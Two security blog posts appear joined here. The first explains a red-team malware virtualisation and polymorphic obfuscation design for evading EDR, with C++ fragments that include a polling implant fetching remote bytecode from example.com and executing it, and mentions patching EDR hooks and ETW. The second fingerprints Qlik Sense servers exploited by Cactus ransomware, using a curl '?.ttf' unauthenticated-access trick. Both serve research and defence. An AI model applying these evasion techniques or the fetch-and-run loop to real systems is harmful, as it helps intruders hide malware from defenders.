The next step in the arms race for malware authors is to eliminate the potential for a signature match in the unpacker stub. This means that the stub must consist of different instructions each time a new sample is created. An important insight is that “what the code does” and “how the code looks” are not 1:1 mappings. There are infinitely many ways to write down computer code to achieve a certain effect or result. There are therefore infinitely many ways in which a particular unpacking algorithm can be written. A packer that is designed to create the unpacking stub that looks different each time can be called polymorphic. The algorithm or code that performs the changes is called a polymorphic engine2.

Combining a packer with a polymorphic engine eliminates the “attack surface” for simple signature matches of malware at-rest. Fox-IT has written and maintained two polymorphic packers like this since 2015. Although they still produce good results against modern EDR, even these tools are getting more and more difficult to sneak past defenses. That’s because there’s a conceptual flaw in the polymorphic packer: the original malicious code is still decrypted at some point in order to execute. If antimalware products can time the moment to start scanning for malicious patterns when the packer has finished decoding the malicious code, then detecting malware becomes easy again.

Modern operating systems and processors try to ensure that not all data in a computer’s memory can be executed as code for safety reasons3. Particularly, systems are typically designed to prevent the execution of code from writable pages. Therefore, a virus or malware sample that wants to decrypt and/or decompress its own code must first make the changes in writable memory pages. After, the virus changes the page protection to readable and executable and transfers control to the newly modified executable memory. Antimalware products equipped to analyze the behavior of other programs at runtime make use of behavioral patterns like this to decide when to scan the memory of a process for malicious patterns. Because the memory, once decrypted, cannot be changed anymore due to the aforementioned limitations, scanning a process after making memory executable is the ideal time to spot malicious patterns.

Antimalware products that are equipped with rules that generate additional signals to determine if a program is malicious or not, are said to employ “heuristics”. Conceptually, antimalware products have achieved a comprehensive set of features to detect malware execution. The evolutions we’ve seen since the early days of these feature complete products can all be understood as attempts to loosen or lift the constraints set out above: “Cloud-based protection” runs resource intensive heuristics on someone else’s computer; adding human oversight, the “R” in “EDR” lowers the impact of a false-positive and brings humans into the detection and response loop.

How then, can a Red Team smuggle their malware past these new and advanced defenses? In the past, a virus writer might employ what is called a “metamorphic” engine4. This is an algorithm designed to re-write the entire virus each time it infects a new file, including the entire metamorphic engine itself. Using it ensures that there is never one ‘true’ virus sample that can be detected with a static signature; each copy of the virus is completely different. With a tool like this you would not need a packer, because there are no static patterns that can ever be uniquely tied to your virus. However, the explosion in modern software complexity and the requirement for malware to work on a variety of systems

Hiding From Analysis: Virtualisation

To hide from both static and dynamic analysis of payloads, the generated sample must be resilient to code inspection and code flow analysis. If the real instructions are not revealed to an observer, hardly any conclusions can be drawn from the outer shell. If this is achieved, defensive products would be met with the following limitations when inspecting the payload:

  • Difficult to observe instruction patterns;
  • Difficult to patch instructions;
  • Difficult to ignore instructions;
  • Difficult to predict behavior.

Hiding instructions is not something new. Products like VMProtect5 cloak parts of the code by embedding a virtual machine and generate unique instructions to be executed on this VM. Code that is to be virtualized must be identified either by a marker added to the source code or by the presence of a PDB file containing the symbols. This requirement is something that cannot always be met when using third-party tools. Additionally, this type of protection is aimed at protecting specific functions, like license key checking algorithms, limiting the use for an adversary. Lastly, using existing tools can have a negative impact on the detection ratio, as these products are heavily researched and can contain static signatures like hardcoded section names.

Considering the benefits of a virtualisation layer, however, it is clear that this technique is very powerful.

Creating a Custom Virtualisation Layer

It was decided that a virtualisation layer should be created. This layer consists of a virtual machine implementing opcodes6, and bytecode7 executing on the virtual machine. The virtualisation layer that was to be created must match the following requirements and limitations:

  1. Bytecode instructions are executed sequentially;
  2. Bytecode instructions are hidden before and after execution;
  3. The instruction set supports basic x86-64 instructions only;
  4. The virtual machine must provide an interface to the system API;
  5. The virtual machine implementation must be simple and position independent to support morphing;
  6. The virtualisation layer must work without access to source code or debug symbols.

Creating a virtualisation layer started with a design of the instructions to be executed, the virtual machine, and the supported instruction set. Additionally, the layout of the final payload was created where all data must be present in a position independent format and could be executed like shellcode. This allows the payload to be embedded in other executable formats (e.g. executables or DLLs), and allows for dynamic execution when staging malware.

For example, the following layout would allow for the above functionality. In this example, the virtual machine must start with a correcting stub that correctly sets the virtual machine argument registers to their respective values:

Example of a data structure containing all required building blocks within position independent code.

The Anatomy of an Instruction

To keep the virtual machine architecture simple, an instruction format was created to be consistent in length between instruction and operand types. This design decision allows the omission of a Length Disassembler Engine (LDE)8, and can simply use the instruction pointer as an index to the current instruction. All information present in normal, non-SSE9/AVX10 x86 instructions must be included.

At its core, an instruction identifies the operation that must be performed, and optionally what data is provided in the form of operands. An operand can be one of three types:

  1. Immediate value: a constant value embedded in the instruction;
  2. Memory location: a memory location pointed to by the instruction;
  3. Register: a register, or part of one, identified by the instruction.

In order to obtain data from an operand, a generic format must be created that encompasses the different operand types. It was decided that a single 64-bit field could be used to hold the different types of operands, as all of the necessary data of the aforementioned types can be embedded into 64 bits.

The structures below show the layout of each operand type:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct ImmediateOperand {
Value value; // A constant value
}; // size: 8 bytes
struct MemoryOperand {
uint8_t size; // The effective size of the operand (8, 16, 32, 64 bits)
uint8_t base; // A regiser holding a pointer value to the base address
uint8_t index; // A register holding the index of the array
uint8_t scale; // A constant multiplier of 1, 2, 4, or 8
int32_t displacement; // A value to be added to the calculated address
}; // size: 8 bytes
struct RegisterOperand {
uint8_t reg; // A base register of the x86-64 register set
uint8_t chunk; // The specific register chunk: low, high, word, dword, qword
uint16_t size; // The effective size of the operand (8, 16, 32, 64 bits)
uint32_t pad; // Padding to meet the 64 bit size requirement
}; // size: 8 bytes
union Operand {
ImmediateOperand imm; // View the data as an immediate operand
MemoryOperand mem; // View the data as a memory operand
RegisterOperand reg; // View the data as a register operand
}; // size: 8 bytes
view raw operand.h hosted with ❤ by GitHub

Note: The Value type of the immediate operand is a simple union with (u)int8_t to (u)int64_t members. This makes it trivial to index the correct data during implementation of opcodes.

To indicate the instruction’s opcode, a single 1-byte value can be used. This provides 256 unique opcodes, which should be enough to implement basic behavior. Lastly, the type of each operand must be embedded within the instruction format, as opcode implementations must be able to interrogate these types.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Instruction {
uint8_t opcode; // The opcode of the instruction
uint8_t lparam_type : 4; // The type of the first (left) operand
uint8_t rparam_type : 4; // The type of the second (right) operand
Operand lparam; // The first (left) operand
Operand rparam; // The second (right) operand
}; // size: 18 bytes
view raw instruction.h hosted with ❤ by GitHub

Protecting Instructions

To meet requirement two, “Instructions are hidden before and after execution”, instructions are protected using encryption. Many encryption algorithms can be used to hide instructions. However, it is required for the instruction size to remain the same, as the instruction will be decrypted and encrypted in-place and will not be moved to a temporary buffer. This removes the necessity for dynamic memory allocation from within the virtual machine. Additionally, the chosen encryption scheme must be trivial to implement, as the code will be located in the virtual machine and thus create an ‘attack surface’ for signature detection. Implementing complex algorithms is detrimental to the ability to effectively manipulate the code using a polymorphic engine.

The Anatomy of the Virtual Machine

The virtual machine resembles a virtual CPU, implementing all the available opcodes. Furthermore, the available registers, CPU flags, and stack are part of the virtual machine object. Lastly, the virtual machine holds a pointer to the bytecode buffer necessary for execution. An added benefit of implementing the virtual machine is that the real stack is also abstracted away. Heuristics that attempt to spot malicious behavior from the stack will not succeed.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Context {
uint32_t ip; // Instruction pointer
uint8_t flags; // CPU flags to be manipulated by opcodes
Register registers[17]; // General Purpose Registers (rax, … r15 and gs)
Instruction* instructions; // A pointer to the start of the bytecode buffer
uint8_t stack[STACK_SIZE]; // The virtual machine stack
};
view raw context.h hosted with ❤ by GitHub

Functions to initialize the virtual machine context, to obtain the current instruction, and to load and store values based on the instruction operands were created to aid in the implementation of opcodes within the virtual machine.

Once initialized, the virtual machine can enter its dispatch loop. This loop consists of obtaining the current instruction and executing the opcode identified by the opcode field in the instruction object. The instruction is decrypted before execution and is encrypted after. A dispatch function could be implemented as follows:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
void dispatch_instruction(Context* vm) {
uint32_t ip = vm->ip;
decrypt_instruction(vm, ip);
switch (vm->instructions[ip].opcode) {
case Opcode::ADD: opcode_add(vm); next_instruction(vm); break;
case Opcode::AND: opcode_and(vm); next_instruction(vm); break;
case Opcode::BT: opcode_bt(vm); next_instruction(vm); break;
}
encrypt_instruction(vm, ip);
}
view raw dispatch.cpp hosted with ❤ by GitHub

An attentive reader may have noticed the construction of the temporary variable ip, which is used in further operations. This originates from the fact that any instructions modifying the instruction pointer, like jcc, call, and ret, will result in a modified instruction pointer when the opcode is finished. Therefore, the instruction pointer can no longer be used to re-encrypt the original instruction that was executed.

Implementation of a Basic Opcode

The following function implements the bit test (bt) opcode11:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
void opcode_bt(Context* vm) {
// get the current instruction from the context
Instruction* i = get_current_instruction(vm);
// load the value and the bit to test
Value dst = fetch_value(vm, i->lparam_type, i->lparam);
Value src = fetch_value(vm, i->rparam_type, i->rparam);
// get the size in bits of the value to check
size_t size = get_operand_size(i->lparam_type, i->lparam);
// set the carry flag to the result of the bit test
switch (size) {
case 8: vm->flags.cf = (dst.u8 & (1 << src.u8)) != 0; break;
case 16: vm->flags.cf = (dst.u16 & (1 << src.u16)) != 0; break;
case 32: vm->flags.cf = (dst.u32 & (1 << src.u32)) != 0; break;
case 64: vm->flags.cf = (dst.u64 & (1ull << src.u64)) != 0; break;
}
}
view raw opcode_bt.cpp hosted with ❤ by GitHub

Improving the Bytecode Process: Transpiling

Initially, all bytecode created to execute in the virtual environment was written in assembly by hand. This provided the control needed to make sure specific opcodes and operand types were used, and as a test a PE loader was implemented in bytecode. As this limitation came at a major cost in development time and flexibility, a new method of generating bytecode was used: compiling and transpiling of C/C++ programs. This was chosen over using output directly from the assembler, as parsing these text files proved to be cumbersome and error-prone. Instead, the resulting linked binary was fed to a disassembler.

The disassembling of a binary is performed using the iced-x86 library12. This library allows for the conversion of x86 instructions to the custom format -described in the earlier section: The Anatomy of an Instruction– by checking the opcode of the instruction, the types of operand(s) and its value(s). Eventually, once all the x86 instructions are converted, the now transpiled bytecode can be interpreted by the virtual machine.

The bytecode generation process from source code to eventual bytecode.

The implementation of the transpiler instantly enabled us to support a large amount of existing tools, and made writing new tools easier. Most Position-independent Code (PIC)13 tools that compile from C/C++, including some BOFs14, can also be ported to execute on the virtual machine with relative ease.

Limitations to Bytecode Implementation

One of the limitations of the virtual machine implementation is shared with that of the bytecode. PIC must be created in order to generate valid bytecode that executes on the VM. In practice, this means that everything is relative to the current instruction pointer, and no references to other libraries or parts of other sections can exist:

  • No static variables;
  • No global variables;
  • No strings;
  • No static dependencies on libraries.

Supporting Native API Calls

To allow interfacing with the OS layer, bytecode must be able to perform native API calls. A translation layer must exist between the bytecode and native environment. The call instruction is used by compilers to invoke APIs, requiring the virtual machine’s call implementation to support this translation. Unfortunately, once a call instruction is encountered, no information is known to the virtual machine related to the number of arguments that must be forwarded. To resolve this problem, the bytecode can prepend the number of arguments when calling an API, giving the virtual machine layer enough information to translate the call into native execution. To programmatically perform this task, variadic arguments in C++ templates can be used to automatically deduce the amount of arguments passed:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
template <typename Ret, typename … Args>
struct apicall<Ret(Args…)> {
static decltype(auto) call(const void* target, Args … args) {
constexpr size_t nargs = sizeof…(Args); // Calculate the number of arguments passed
using f = Ret(__stdcall*)(size_t, Args…); // Define the signature of the API to call
return ((f)target)(nargs, args…); // Invoke the API and return its result
}
};
int main() {
FARPROC _Sleep = get_address_of_sleep();
apicall<decltype(Sleep)>::call(_Sleep, 10'000);
return 0;
}
view raw apicall.cpp hosted with ❤ by GitHub

As specified in Microsoft’s x64 __stdcall15 calling convention, the first four integer or pointer arguments are passed using the registers rcx, rdx, r8 and r9, with the remaining arguments being passed on the stack. This means that at the time of executing the call instruction, rcx holds the number of arguments that must be passed to the API. The virtual machine can extract and inspect this value, and use it to correctly perform the call:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
auto target = fetch_value(vm, i->lparam_type, i->lparam);
auto nargs = vm->registers.rcx.qword;
// extract the arguments
// Invoke the api
auto result = syscall(target, …);
// return the result to the bytecode environment
vm->registers.rax = result;
view raw vm.cpp hosted with ❤ by GitHub

The real values of the arguments are stored in rdx, r8, r9 and on the stack. When extracting the arguments from the stack, one must remember to keep the shadow space16 in mind.

Visually, the process looks like this:

A virtualized call instruction invokes ntdll!NtAllocateVirtualMemory. This call is translated to a native call and the API is invoked. The resulting value is returned to the VM.

Supporting Bytecode Function Callbacks

Keeping in mind the porting of existing programs to the bytecode architecture, one cannot omit the support for function callbacks within code. Take for example a simple linked list implementation, with a list_search function taking a predicate callback:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Node {
int value;
node* next;
};
struct SearchContext {
int value;
};
Node* list_search(Node* head, bool(*predicate)(Node* n, const void* ctx), const void* ctx);
bool searcher(Node* n, const void* ctx) {
return n->value == ((SearchContext*)ctx)->value;
}
int main() {
Node head;
// initialize and populate list
SearchContext ctx = { 10 };
Node* found = list_search(&head, searcher, &ctx);
return 0;
}
view raw list_search.cpp hosted with ❤ by GitHub

However, a problem arises: how does the virtual machine differentiate between a normal bytecode function call, a native API call, and a function callback? The difference between the first two is clear: the bytecode function call is a call to an address within the bytecode and is known at compile time, where the API call is a dynamic call, meaning a call to a function pointer stored in a register or memory location. Given that a callback within bytecode is a dynamic call, too, the virtual machine must be provided with information about the type of call being made.

To load a function pointer as an argument, a lea17 instruction is generated with its right operand referencing a memory address. This referenced memory address uses the instruction pointer (rip) register as the base field of the memory operand. When transpiling, such cases can be identified. To store this information, a new type of operand can be added to the already existing three types -listed in “The Anatomy of an Instruction”– (e.g. Function). When the virtual machine executes the lea instruction, it can check for the type of operand. If this operand’s type is Function, a tag can be added to the high 32 bits of the value, for example 0xDEADBEEF.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
value = (0xDEADBEEFull << 32) | (value & 0xffffffff);
view raw tag_example.cpp hosted with ❤ by GitHub

Once the call instruction is invoked, the value of the operand can be interrogated. If this value contains the previously added tag, a callback is requested. To perform the call, the tag is stripped from the value and the instruction pointer can be set accordingly.

Supporting User-Defined Arguments

Depending on the type of program that is executing, user-defined arguments are required. Take for example a program that simply sleeps for a period of time. How long should this program sleep for? Hardcoding these values is not always an option. Early on in the development of the project, a simple data structure was defined which could be provided to the bytecode’s entry point:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Data {
size_t size; // Size of data including the `Data` header
uint8_t key[KEY_SIZE]; // Decryption key of the payload
uint8_t payload[0]; // Payload data
};
int bytecode_main(Data* data);
view raw bytecode.cpp hosted with ❤ by GitHub

Accompanying this, each bytecode project contained a script that packaged data in a way that could be understood by the bytecode. However, there was no consistency between these scripts and the method of extraction. For example, extracting two 4-byte integers is simpler than extracting two strings due to their variable size.

To standardize this process, and to include it into the building step itself instead of running a random script, a key-value solution was created in combination with an API that can interrogate the type and value of each argument. This is different from parameter packing that Cobalt Strike uses in its BOFs18, as default arguments, or arguments that are not strictly required are supported. Additionally, each argument is encrypted separately. This allows for a PE packer to extract domain-keying information before extracting the PE data.

The following API is defined:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
enum Type {
Invalid, Boolean, Integer, String, Data
};
struct Argument {
size_t size; // The size of the argument including the header
Type type; // The type of the argument
size_t tag; // The identifying tag of the argument
uint8_t key[KEY_SIZE]; // The payload encryption key
uint8_t payload[0]; // The argument data
};
struct Arguments {
size_t size; // The total size of all arguments in bytes
size_t count; // The count of arguments present in the argument pack
uint8_t arguments[0]; // The argument data
};
bool has_argument(Arguments* args, size_t tag);
Argument* get_argument_by_tag(Arguments* args, size_t tag);
void decrypt_argument(Argument* arg);
void encrypt_argument(Argument* arg);
// utility functions to interpret the argument's payload
bool get_argument_boolean(Argument* arg);
int64_t get_argument_integer(Argument* arg);
char* get_argument_string(Argument* arg);
void* get_argument_data(Argument* arg, size_t* size);
view raw api.cpp hosted with ❤ by GitHub

The signature of the bytecode’s entry point is updated to incorporate this change:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
int bytecode_main(Arguments* args);

Supporting DLLs

Executables and DLLs are very similar in the way they look and in the way they execute. Both have an entry point to which execution is passed, and both return a value. However, the execution flow of an executable starts at the entry point, and does not reach its function’s end until the program stops. DLLs often perform very limited initialization within their entry point, and return execution to the loader to not lock the loader threads. Additionally, the entry point of the DLL is called more than once: on process startup and shutdown, and on thread creation and destruction. The reason for calling the entry point is passed by the loader in the second, dwReason, argument. This allows the code inside of the DllMain function to differentiate between the reasons the entry point was invoked, and can act accordingly.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
view raw dllmain.h hosted with ❤ by GitHub

To allow our shellcode to be embedded within DLLs, both the virtual machine and its bytecode must be made aware of the reason for invocation. This requires the entry point of the virtual machine and bytecode to match that of a DLL, automatically receiving the reason by the OS loader. This does not interfere with the entry point used by a normal executable, as the default entry point of any executable does not take any arguments directly, but instead the arguments argc and argv are resolved by the C runtime, which is not linked against.

On initialization, the virtual machine sets the bytecode’s rdx register to the value of its reason argument, passing the value to the entry point as the second argument. The programmer must decide if this value is to be inspected within the bytecode and should not use the value when writing bytecode to be embedded in an executable.

Deceiving Behavioral Analysis: Multi-VM Execution

Earlier, the method of detection based on behavior was discussed. This dynamic form of inspecting an application’s execution flow regardless of static patens is difficult for attackers to rid their malware of. Opening Lsass.exe and reading its memory could be marked as malicious, even if the process looks like calc.exe. Often, defensive products receive events by kernel callbacks, such as PsSetCreateProcessNotifyRoutine19 or PsSetLoadImageNotifyRoutine20, API/syscall hooks in the local process or by using Event Tracing for Windows (ETW)21 consumers.

Patching hooks in the local process along with local ETW functions that provide events is trivial. This rids the process of intrusive monitoring by antivirus or EDR solutions, and stops the process from creating events. However, some events are still generated, mostly by the ETW providers present in the kernel, along with the kernel callbacks. Additionally, events created during patching could still be monitored. Lastly, blinding defensive products could have a negative effect, as failure to receiving check-ins could be considered an error and a signal of malicious behavior by itself.

As an attacker, generating arbitrary events along with ones that might cause detection could be a method of thwarting dynamic detection rules based on behavior. Adding code to generate events in between regular instructions would require manipulation of source code, and is not preferred. Creating a new thread that generates random events could be in vain, as events are registered per unique thread in the process.

The virtual machine was extended to support vmcalls. These types of call instructions made by the bytecode notify the virtual machine layer that a task needs to be performed. Among multiple different supported calls, most noteworthy are the following:

  • vminit: Initialize the virtual machine object with bytecode and arguments
  • vmexec: Execute N cycles on the virtual machine

The combination of these two calls allows bytecode to create a new virtual machine, and execute a predetermined number of instructions:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
#define NUM_CYCLES 200
// load the malicious bytecode and create a vm object
auto malicious = load_malicious_instructions();
auto malicious_vm = allocate_vm_object();
// load the bytecode creating events
auto events = load_event_bytecode();
auto events_vm = allocate_vm_object();
// initialize the vm objects with their bytecode and no arguments
vmcall<vminit>::call(malicious_vm, malicious, nullptr);
vmcall<vminit>::call(events_vm, events, nullptr);
while (true) {
vmcall<vmexec>::call(malicious_vm, NUM_CYCLES);
vmcall<vmexec>::call(events_vm, NUM_CYCLES);
}
view raw vm_call.cpp hosted with ❤ by GitHub

Because both sets of bytecode execute within the same virtual machine, and therefore on the same thread, no distinction can be made between the origin of each event. The OS, and any event consumers will observe a single thread generating multiple events, both benign and possibly malicious. Most importantly for an attacker, this could break patterns of behavior being monitored for.

As an additional benefit of these added instructions, bytecode can now be obtained and executed at runtime. This proved to be an extremely useful feature during payload development, as instead of staging shellcode during Command and Control, bytecode can be provided. This removes the necessity for allocating executable memory regions (or changing memory protection at a later stage) to execute shellcode in, in turn removing the opportunity for defensive products to inspect buffers used for dynamic code execution often leveraged by attackers.

For example, the following behavior could be implemented to create a simple polling implant, requesting bytecode every 10 seconds:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
// allocate the virtual machine object
auto vm = allocate_vm_object();
while (true) {
// attempt to obtain bytecode from server
void* bytecode = http_get("https://example.com/bytecode&quot;);
// check if we received bytecode
if (bytecode) {
// initialize the vm object with our bytecode and execute it in its entirety
vmcall<vminit>::call(vm, bytecode, nullptr);
vmcall<vmexec>::call(vm, RUN_UNTIL_END);
}
// free the bytecode buffer and sleep for 10 seconds
free(bytecode);
sleep(10'000);
}

Protecting the Virtual Machine

At this point, we have defeated most detection measures that we are aware of, and set out to defeat. However, the VM shares a fundamental weakness with the original packers: static patterns in the native-code VM. Throughout its development, the VM was kept as simple as possible, adhering to constraints set out to enable support for a polymorphic engine to be executed on the VM’s binary code. This made the development significantly more cumbersome, but, given a sufficiently strong polymorphic engine, does close the detection loop fully. The polymorphic engine we developed has been battle tested over several years of use against modern EDR, and antimalware. Despite the fact that the code of the engine was designed years ago, and has not significantly changed since, it still manages to mutate malicious code to the extent that it becomes undetected at runtime and scan time.

Due to the way the universe works, the engine cannot support arbitrary programs. The largest constraint is that dynamic control flow is not supported. This means that indirect function calls, indirect jumps and the ret instruction could all potentially break the mutated code. Our engine assumes you know what you’re doing, and won’t complain when such instructions are encountered, but the resulting code will likely not work as intended.

The polymorphic engine supports several different mutation techniques, including:

  • Instruction substitution: replacing instructions with semantically equivalent ones. For example: mov eax, 0 can be replaced with xor eax, eax;
  • Basic block reordering: changing the order of basic blocks in the code;
  • Basic block creation: inserting new basic blocks into the code, through jumps and push rets;
  • NOP instruction insertion: inserting NOP instructions to change the code’s layout.

The most important feature is that the output of the engine can be fed back into the engine again. This allows for multiple iterations of mutation, which leads to virtually incomprehensible disassembly. This is especially useful when the input is a small piece of code, like a shellcode loader. Sufficient numbers of mutation will double, or quadruple the size of the output, further muddying the waters for defenders.

Conclusion

Due to the ever-changing security landscape, both attackers and defenders must stay on their toes. Defensive security products continue to improve over time, making it more difficult for attackers to remain undetected, or even execute malicious code at all. Detection of payloads has shifted from static analysis to a combination of heuristics and signatures, rendering some tools obsolete.

In this blog post, we have described a tool that was written to tackle both static and dynamic analysis by way of virtualisation. This technique, along with employing a custom polymorphic engine attempts to evade these types of analysis by layers of obfuscation. To bypass heuristic analysis, support for multiple virtual machines to run concurrently was added, disrupting patterns in created events. As an added bonus, reverse engineering a sample without prior knowledge could be a daunting task. Analysts would have to reverse not only the morphed virtual machine itself, but extract morphed bytecode for further analysis. This does not remediate the issue of reverse engineering payloads for an attacker, but does significantly slow down the process, providing the attacker with more time.

In practice, this project has allowed attacks to remain undetected during Red Teaming and TIBER exercises in some of the most heavily monitored environments, making use of state of the art EDR solutions. Moreover, due to the addition of a transpiler converting compiled binaries into custom bytecode, both the speed and ease of development of custom payloads was greatly improved.

The following is a non-exhaustive list of payloads that were created during a recent Red Teaming exercise, successfully evading detection:

  • Multiple persistence modules;
  • Multiple lateral movement modules;
  • Shellcode and bytecode executor;
  • Antivirus and EDR patchers;
  • HTTP(s) and DNS beacons;
  • Tools querying Active Directory information.

Porting of additional tools is taking place, and we expect to have virtualized versions of most tools used in a Red Team exercise in the near future.

Looking Forward

The motivations for this blog post are two-fold. Firstly, we wanted to share what we think is exciting research with the community. We learned what we did from openly shared blog post and articles, and want to give back to the community. We use all the knowledge we gained to improve the security of our customers through offensive security testing, and we hope that this blog post will help and inspire others to do the same.

Secondly, although security products have advanced tremendously, we want to show that there is still room for improvement. We have noticed a tendency to “slap an EDR on it and call it a day” in certain niches of the security industry. Although that might work for some time, because a modern EDR truly adds a strong layer of security, the door is still open for attackers to bypass these products. As the landscape evolves, and general cyber security knowledge increases, the skill and sophistication of cyber criminal elements will rise. Consider this blog post, and the technique explained within, as a warning and a call to action. We hope security vendors will think about how they can detect these types of payloads, and how they can improve their products to stay ahead of the curve, as they are right now.

References

  •  

Sifting through the spines: identifying (potential) Cactus ransomware victims

Authored by Willem Zeeman and Yun Zheng Hu

This blog is part of a series written by various Dutch cyber security firms that have collaborated on the Cactus ransomware group, which exploits Qlik Sense servers for initial access. To view all of them please check the central blog by Dutch special interest group Cyberveilig Nederland [1]

The effectiveness of the public-private partnership called Melissa [2] is increasingly evident. The Melissa partnership, which includes Fox-IT, has identified overlap in a specific ransomware tactic. Multiple partners, sharing information from incident response engagements for their clients, found that the Cactus ransomware group uses a particular method for initial access. Following that discovery, NCC Group’s Fox-IT developed a fingerprinting technique to identify which systems around the world are vulnerable to this method of initial access or, even more critically, are already compromised.

Qlik Sense vulnerabilities

Qlik Sense, a popular data visualisation and business intelligence tool, has recently become a focal point in cybersecurity discussions. This tool, designed to aid businesses in data analysis, has been identified as a key entry point for cyberattacks by the Cactus ransomware group.

The Cactus ransomware campaign

Since November 2023, the Cactus ransomware group has been actively targeting vulnerable Qlik Sense servers. These attacks are not just about exploiting software vulnerabilities; they also involve a psychological component where Cactus misleads its victims with fabricated stories about the breach. This likely is part of their strategy to obscure their actual method of entry, thus complicating mitigation and response efforts for the affected organizations.

For those looking for in-depth coverage of these exploits, the Arctic Wolf blog [3] provides detailed insights into the specific vulnerabilities being exploited, notably CVE-2023-41266, CVE-2023-41265 also known as ZeroQlik, and potentially CVE-2023-48365 also known as DoubleQlik.

Threat statistics and collaborative action

The scope of this threat is significant. In total, we identified 5205 Qlik Sense servers, 3143 servers seem to be vulnerable to the exploits used by the Cactus group. This is based on the initial scan on 17 April 2024. Closer to home in the Netherlands, we’ve identified 241 vulnerable systems, fortunately most don’t seem to have been compromised. However, 6 Dutch systems weren’t so lucky and have already fallen victim to the Cactus group. It’s crucial to understand that “already compromised” can mean that either the ransomware has been deployed and the initial access artifacts left behind were not removed, or the system remains compromised and is potentially poised for a future ransomware attack.

Since 17 April 2024, the DIVD (Dutch Institute for Vulnerability Disclosure) and the governmental bodies NCSC (Nationaal Cyber Security Centrum) and DTC (Digital Trust Center) have teamed up to globally inform (potential) victims of cyberattacks resembling those from the Cactus ransomware group. This collaborative effort has enabled them to reach out to affected organisations worldwide, sharing crucial information to help prevent further damage where possible.

Identifying vulnerable Qlik Sense servers

Expanding on Praetorian’s thorough vulnerability research on the ZeroQlik and DoubleQlik vulnerabilities [4,5], we found a method to identify the version of a Qlik Sense server by retrieving a file called product-info.json from the server. While we acknowledge the existence of Nuclei templates for the vulnerability checks, using the server version allows for a more reliable evaluation of potential vulnerability status, e.g. whether it’s patched or end of support.

This JSON file contains the release label and version numbers by which we can identify the exact version that this Qlik Sense server is running.

Figure 1: Qlik Sense product-info.json file containing version information

Keep in mind that although Qlik Sense servers are assigned version numbers, the vendor typically refers to advisories and updates by their release label, such as “February 2022 Patch 3”.

The following cURL command can be used to retrieve the product-info.json file from a Qlik server:

curl -H "Host: localhost" -vk 'https://<ip>/resources/autogenerated/product-info.json?.ttf'

Note that we specify ?.ttf at the end of the URL to let the Qlik proxy server think that we are requesting a .ttf file, as font files can be accessed unauthenticated. Also, we set the Host header to localhost or else the server will return 400 - Bad Request - Qlik Sense, with the message The http request header is incorrect.

Retrieving this file with the ?.ttf extension trick has been fixed in the patch that addresses CVE-2023-48365 and you will always get a 302 Authenticate at this location response:

> GET /resources/autogenerated/product-info.json?.ttf HTTP/1.1
> Host: localhost
> Accept: */*
>
< HTTP/1.1 302 Authenticate at this location
< Cache-Control: no-cache, no-store, must-revalidate
< Location: https://localhost/internal_forms_authentication/?targetId=2aa7575d-3234-4980-956c-2c6929c57b71
< Content-Length: 0
<

Nevertheless, this is still a good way to determine the state of a Qlik instance, because if it redirects using 302 Authenticate at this location it is likely that the server is not vulnerable to CVE-2023-48365.

An example response from a vulnerable server would return the JSON file:

> GET /resources/autogenerated/product-info.json?.ttf HTTP/1.1
> Host: localhost
> Accept: */*
>
< HTTP/1.1 200 OK
< Set-Cookie: X-Qlik-Session=893de431-1177-46aa-88c7-b95e28c5f103; Path=/; HttpOnly; SameSite=Lax; Secure
< Cache-Control: public, max-age=3600
< Transfer-Encoding: chunked
< Content-Type: application/json;charset=utf-8
< Expires: Tue, 16 Apr 2024 08:14:56 GMT
< Last-Modified: Fri, 04 Nov 2022 23:28:24 GMT
< Accept-Ranges: bytes
< ETag: 638032013040000000
< Server: Microsoft-HTTPAPI/2.0
< Date: Tue, 16 Apr 2024 07:14:55 GMT
< Age: 136
<
{"composition":{"contentHash":"89c9087978b3f026fb100267523b5204","senseId":"qliksenseserver:14.54.21","releaseLabel":"February 2022 Patch 12","originalClassName":"Composition","deprecatedProductVersion":"4.0.X","productName":"Qlik Sense","version":"14.54.21","copyrightYearRange":"1993-2022","deploymentType":"QlikSenseServer"},
<snipped>

